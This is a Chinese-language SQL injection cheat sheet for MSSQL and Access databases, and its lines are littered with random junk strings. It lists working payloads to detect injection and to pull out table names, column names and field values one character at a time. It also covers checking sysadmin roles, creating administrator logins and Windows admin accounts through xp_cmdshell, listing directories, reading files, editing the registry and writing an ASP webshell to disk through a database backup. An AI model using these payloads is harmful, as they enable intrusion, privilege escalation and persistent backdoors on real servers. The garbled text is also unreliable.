1.判断是否有注入;and 1=1 ;and 1=2 KcU,RTE
2.初步判断是否是mssql ;and user>0 FFQF0.@EBi
#* Hhe>
3.注入参数是字符'and [查询条件] and ''=' gvU6p[ D
+.R-a+y3
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 8p211MQ<
Z0'3.D,l
5.判断数据库系统 Rp<Xu6r
N4Lk3]
;and (select count(*) from sysobjects)>0 mssql ZE\t{s0
f/c}XCH_h
;and (select count(*) from msysobjects)>0 access |(V%(_s
{Y@[hoHtF
{'ZnxK'
A|&EI-In
6.猜数据库 ;and (select Count(*) from [数据库名])>0 VC+\RB#:-
;|^fAc~9{r
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 *@ o3{0[Z
@1+/r?b
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 67g/(4 &
qQ_B[?+W
9.(1)猜字段的ascii值(access) iBi/9
L9kP8&&KK
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ~8X'p6
LH_ 2oJ\
(2)猜字段的ascii值(mssql) CeJ|z{F\
A:!{+
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 hB.dqv]^
j;y|Ys)I
10.测试权限结构(mssql) c1<g!Q&E
7/1S5yUr|
&qU[wn:1
:U*[s$
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- fr?eOigbl
C[pDPx,#:G
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- MQ+ek4
5R Hs
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Iu[EUi!"
f
LW>-O73
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Vg+SXq6G
ZJpI]^9|
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- lV
9q;!/1
CL*%06QyE
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9mnON~j5
|l|]Tw
;and 1=(select IS_MEMBER('db_owner'));-- w-"&;klV
xki"'
FX^E |
xr/k.Fz
11.添加mssql和系统的帐户 G#V22Wca8
e>^R 8qM?
;exec master.dbo.sp_addlogin username;-- P2p^jm
;exec master.dbo.sp_password null,username,password;-- }:mI6zsNj
5^dw!^d
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- `R> O5Rv
t5k&xV=~
#
;exec master.dbo.xp_cmdshell 'net user username password )yP>}ME
o7+/v70D
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- _~kcr5
i/~J0qQ
;exec master.dbo.xp_cmdshell 'net user username password /add';-- P Cf|^X#B
wl%1B64
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- LJy'wl
54{"ni2a
Cg
Sdyg@
|- fx
0y
12.(1)遍历目录 fh^_=R(/
O2G+
'
;create table dirs(paths varchar(100), id int) 5dF=DCZ
,7(/Il9
;insert dirs exec master.dbo.xp_dirtree 'c:\' `O{Uz?#*x
$-RhCnE
;and (select top 1 paths from dirs)>0 9zyN8v2
Mb>XM7}PU
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 1I`D$Xq~:
07|NPS
B<LavX>F
%&XX*&
q
(2)遍历目录 kTz
oc(bcU
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- rd))H
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 WGmCQE[/c
o zYI/b^
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Pb,^UFa=
o,yvi
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 yLx.*I^6
[q&J"dt
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ej;taKzj
pJz8e&wyLM
{yHfE,
L\ %_<2
13.mssql中的存储过程 xgz87d/<:
|^Es6 .~
xp_regenumvalues 注册表根键, 子键 2M?lgh4"
{nefS\#{
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 .6NSt
hYn'uL^~[
xp_regread 根键,子键,键值名 6bNW1]rD
tZ^;{sM
;exec xp_regread /wE_eK.
ugB{2oq i
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 i =N\[&
(NdgF+'=
xp_regwrite 根键,子键, 值名, 值类型, 值 !yX<v%>_0
>U<nEnB$?
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 yk<jlVF$j
N o(f0g.
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 lM,zTNu-z
#sU~fq
xp_regdeletevalue 根键,子键,值名 u;Eu<jU1
prN(V1O
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 U.U.\
es[5B* 5
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 K eI:/2
CLEG'bZa,
cJEz>Z6[
dyzwJ70K
14.mssql的backup创建webshell 2^6TrZA7M6
(QSWb>np
use model ?d<:V.1U@
GB?#1|,
create table cmd(str image); w3qf7{b
rA,Y_1b *
insert into cmd(str) values (''); d7J[.^\
q7&yb.<KD.
backup database model to disk='c:\l.asp'; I#t9aR+&
93IOG{OAY
4AOS}@~W
U;{,lS2l
15.mssql内置函数 MQ(/l_=zQ
_(`X .D
;and (select @@version)>0 获得Windows的版本号 mN{ajf)@
B"m:<@ "
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Kxc$wN<
O2]r]9sh*
;and (select user_name())>0 爆当前系统的连接用户 =6<w'>
;b?+:L
;and (select db_name())>0 得到当前连接的数据库 1qj%a%R
V-;nj,.mY
3B".Gsm)X
(4ci=*3=
16.简洁的webshell CY3 \:D0I
8[1DO1*P
use model sN1*Zp'(
^la i!uZVa
create table cmd(str image); LnTe_Q7_
W(a'^
#xe
insert into cmd(str) values (''); mnQjX ?
2${,%8"0s
backup database model to disk='g:\wwwtest\l.asp';